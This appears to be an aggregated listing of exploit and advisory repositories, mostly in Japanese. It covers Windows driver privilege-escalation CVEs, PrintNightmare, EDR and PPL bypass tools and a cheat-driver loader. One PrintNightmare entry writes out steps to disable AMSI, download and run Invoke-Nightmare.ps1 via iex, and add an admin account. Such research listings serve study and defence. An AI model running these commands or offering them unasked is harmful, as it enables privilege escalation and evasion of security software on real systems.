microsoft-cve-2021-1675

!IMPORTANT "このリポジトリは現在「ブルースクリーン」モードです。アーカイブされ、時間が止まっています。" Microsoft-CVE-2021-1675 CVE-2021-1675 の脆弱性を悪用する小さな C プロジェクトを作成しました。 CVE-2021-1675 の詳細については、私のブログ記事をご覧ください： https://thalpius.com/2021/07/16/windows-print-spooler-elevation-of-privilege-vulnerability-cve-2021-1675-explained 使用方法 Microsoft...

cve-2025-7771

CVE-2025-7771 — ThrottleStop.sys LPE CVE-2025-7771 の概念実証。ThrottleStop.sys は、アクセス制御なしで任意の物理メモリ読み取り/書き込みを可能にする2つのIOCTLハンドラを公開しています。つまり、任意の管理者プロセスが物理RAM内の任意の場所を読み書きできます。 Windows 10 22H2 および Windows 11 23H2 x64 でテスト済み。 やったこと まずドライババイナリを IDA Pro にロードし、内部の動作を理解しました。IRPMJDEVICECONTROL...

Linux Distros Unpatched Vulnerability : CVE-2026-63277

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - LibreOffice Calc can link a cell range to an external data source, and the link is saved in the document. A document could name a Java database driver for such ...

ALSA-2026:75747 Important: kernel security, bug fix, and enhancement update

The kernel packages contain the Linux kernel, the core of any Linux operating system. Security Fixes: kernel: Linux kernel: Use-after-free in xc5000 tuner driver due to race condition CVE-2025-39994 kernel: gfs2: Fix unlikely race in gdlmputlock CVE-2025-40242 kernel: Linux kernel: Denial of...

PT-2026-104818

Name of the Vulnerable Software and Affected Versions LibreOffice Calc versions prior to 26.2.5 Description LibreOffice Calc allows linking a cell range to an external data source, with the link saved within the document. An attacker can specify a Java database driver to be loaded from a remote...

CVE-2018-19321

CVE-2018-19321 CVE-2018-19321 説明 GIGABYTE APP Center v1.05.21 以前、AORUS GRAPHICS ENGINE 1.57 未満、XTREME GAMING ENGINE 1.26 未満、および OC GURU II v2.08 に含まれる GPCIDrv および GDrv 低レベルドライバは、任意の物理メモリを読み書きする機能を公開しています。これは、ローカルの攻撃者によって権限を昇格させるために悪用される可能性があります。...

CVE-2020-12928

CVE-2020-12928 LPEエクスプロイトコード このリポジトリは 学習目的のみ です。 デモ 参照: https://h0mbre.github.io/RyzenMasterCVE/ https://movaxbx.ru/2020/10/14/cve-2020-12928-exploit-proof-of-concept-privilege-escalation-in-amd-ryzen-master-amdryzenmasterdriver-sys/ https://hackyboiz.github.io/2021/08/11/l0ch/windows-driver-part...

CVE-2024-26229-BOF

CVE-2024-26229 BOF CVE-2024-26229のBeacon Object File実装 — DKOMトークン窃取によるWindows CSCドライバのローカル特権昇格。 RalfHacker/CVE-2024-26229-exploit に基づき、Cobalt Strike BOF APIをサポートするC2フレームワークで使用するために、Dynamic Function Resolution DFR を用いてBOFに変換しました。 動作の仕組み 1. NtCreateFile を使用して \Device\Mup;Csc....

nuc-winring0-fix

Intel NUC WinRing0 脆弱なドライバ - 完全削除ガイド Windows Defender は、OpenHardwareMonitorLib.sys WinRing0 ドライバ を、CVE-2020-14979 により VulnerableDriver:WinNT/Winring0 としてフラグ付けします。このドライバは Intel の NUC Software Studio サービスにバンドルされており、Windows Update 経由で再インストールされます。 このリポジトリは恒久的な解決策を提供します。 問題点 1. Intel の...

CVE-2021-1656

CVE-2021-1656 の POC — tpm.sys における情報漏洩。...

cve-2021-1675

cve-2021-1675 AMSIを無効にする: PowerShellにコピー https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt invoke-script を実行 iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' 管理者アカウントを作成 Invoke-Nightmare...

AntimalwareBlight

Use this PowerShell module to execute PowerShell code at the antimalware-light protection level. This code was highlighted in the Living Off the Walled Garden: Abusing the Features of the Early Launch Antimalware Ecosystem REcon talk as well as Black Hat USA 2022. This module needs to run elevate...

kernel-debug-lab-for-virtual-box

Windbg でカーネルドライバーをデバッグするための VirtualBox ラボのセットアップ方法 ここでは、コンピューター A に windbg がインストール済みで、コンピューター B に Visual Studio、SDK、WDK がインストール済みであることを前提とします。 1. Host network Manager を開き、新しい Virtual Box Host-Only Ethernet adapter を作成またはセットアップします。 2. Virtual Box Host-Only Ethernet adapter を作成または選択し、DHCP Server の...

CVE-2021-27965

CVE-2021-27965 针对 CVE-2021-27965 的概念验证（基于栈的缓冲区溢出） 注意：我可能不会再更新这个（仍有完成它的可能）。目前我能够干净地覆盖指令指针，但我相信这足以证明我拥有至少利用一个简单但真实的内核设备驱动程序所需的技能。我将研究另一个 CVE-2021-27965 漏洞利用，以寻找修复此问题的技巧。 为什么我没有完成它？我必须使用特定的令牌窃取 shellcode 来防止崩溃，这将要求我重写大部分漏洞利用代码（而我不想这样做）。...

e1000_vulnerability_exploit

e1000vulnerabilityexploit インストール $ ./install.sh 現時点では、独自ビルドのみがサポートされています。デバッグ版をビルドするには、 own と debug を選択してください。 警告 : 処理中、特にソースのコンパイル中にエラーが発生する可能性があります。"Exit with error status 2." のようなメッセージが表示されることがあります。 エラーが発生した場合は、[email protected] までご連絡ください。 デバッグ RTLogPrintfstring, args...

breakcyserver

breakcyserver 完全な投稿はこちら: https://waawaa.github.io/ 1. EDRプロセスの開かれたすべてのハンドルを閉じることで、EDRサービスを強制終了します。 2. Process Explorerドライバの一部の機能を悪用することでPPLをバイパスします。 3. Process Explorerドライバの機能を悪用することで、ObRegisterCallbacksの実装をバイパスします。 追記: ProcessExplorerなしでドライバを手動でロードする実装を追加しました。 LoadDriver.exe /LOAD...

CallMeWin32kDriver

CallMeWin32kDriver win32k.sysのようにドライバーをロード 動機 この機能は、とあるPUBGチートドライバーから解析されたものです。 できること アンチルートキットツールによる直接ダンプからの保護 MmCopyMemoryのバイパス ワールドを非表示にしてもPGはトリガーされない 検出方法 MmCopyMemoryを使用する前にGUIプロセスをアタッチする コンパイル Visual Studio 2022 & WDK10 llvm-msvc リンク UnknownCheatsでの議論...

CVE-CVSS--CVE-2024-38063-IPv6-TCP-IP-Remote-Code-Execution-Analysis

🔐 CVE-2024-38063 — IPv6 TCP/IP リモートコード実行分析 📌 プロジェクト説明 このプロジェクトは、Microsoftが2024年8月13日のPatch Tuesday で開示した重大な脆弱性CVE-2024-38063 の技術的分析と実践的なデモンストレーション を提供します。 この脆弱性は、Windows TCP/IPスタック、特にカーネルドライバに実装されたIPv6コンポーネント に影響を与えます： C:\Windows\System32\drivers\tcpip.sys セキュリティ研究者のXiaoWei （Kunlun Lab...

CVE-2025-61156

CVE-2025-61156 ThreatFire System Monitor（=v4.7.0.53）のカーネルモード TfSysMon.sys コンポーネントに、非特権ユーザーがカーネルモードの権限で任意のプロセス終了を実行できるようにする脆弱性が発見されました。その結果、PPL および保護されたシステムプロセスは強制的に停止される可能性があり、これにはアンチマルウェア、EDR ソリューション、エージェント型クライアントなどが含まれますが、これらに限定されません。これは、ローカルでの EDR Bypass と Denial of Service の両方を引き起こす可能性があります。...

CVE-2026-29923

CVE-2026-29923 - 任意の物理メモリマッピングによるローカル権限昇格 pstrip64.sys カーネルドライバは、低権限ユーザーが任意の範囲の物理メモリを自身の仮想アドレス空間にマッピングできる IOCTL を公開しています。このプリミティブにより、システムの物理 RAM への完全な読み取り/書き込みアクセスが可能となり、攻撃者はカーネルの重要な構造を改変し、NT AUTHORITY\SYSTEM への権限昇格を実行できます。 このドライバはデバイスオブジェクト \Device\PSTRIP64 とシンボリックリンク \DosDevices\PSTRIP64...